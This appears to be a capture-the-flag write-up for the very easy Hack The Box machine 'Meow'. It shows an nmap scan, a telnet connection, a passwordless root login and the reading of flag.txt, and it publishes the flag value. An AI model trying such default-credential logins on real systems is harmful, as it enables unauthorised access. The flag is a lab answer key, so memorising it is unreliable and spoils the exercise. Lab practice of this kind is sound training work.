

# Group Challenge 1

## Machine 014500A2

LINUXVERY EASY

### IP address - 10.129.246.109

**Step-1:** Performed nmap to get all open ports of ip address “10.129.246.109” and got port 23/tcp which is used by Telnet as shown in below screenshot.

```
[us-dedicated-128-dhcp]-[10.10.14.34]-[srilakshmiprasanna@htb-kmeupdeuyu]-[~/Desktop]
[★]$ sudo nmap -sC -sV 10.129.246.109
Starting Nmap 7.93 ( https://nmap.org ) at 2024-01-31 16:27 GMT
Nmap scan report for 10.129.246.109
Host is up (0.019s latency).
Not shown: 999 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
23/tcp    open  telnet  Linux telnetd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.15 seconds
```

**Step-2:** Connected to Telnet successfully using telnet command with ip address and port number as shown in below.

```
[us-dedicated-128-dhcp]-[10.10.14.34]-[srilakshmiprasanna@htb-kmeupdeuyu]-[~/Desktop]
[★]$ telnet 10.129.246.109 23
Trying 10.129.246.109...
Connected to 10.129.246.109.
Escape character is '^]'.
```

# Hack the Box

**Step-3:** Then asked for login username which is 'root'. Hence conneted successfully.

```
Meow login: root
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-77-generic x86_64)
```

**Step-4:** Then used 'ls' command with '-l' option to get the list of all directories and files with permissions as shown in the below. Found flag file.

**Step-5:** Then used cat command to display the flag.txt file contents as shown in the below screenshot. Then submitted the flag content as answer.

```
Last login: Mon Sep  6 15:15:23 UTC 2021 from 10.10.14.18 on pts/0
root@Meow:~# ls -l
total 8
-rw-r--r-- 1 root root  33 Jun 17  2021 flag.txt
drwxr-xr-x 3 root root 4096 Apr 21  2021 snap
root@Meow:~# cat flag.txt
b40abdfе23665f766f9c61ecba8a4c19
root@Meow:~# exit
logout
Connection closed by foreign host.
```

Flag :-

b40abdfе23665f766f9c61ecba8a4c19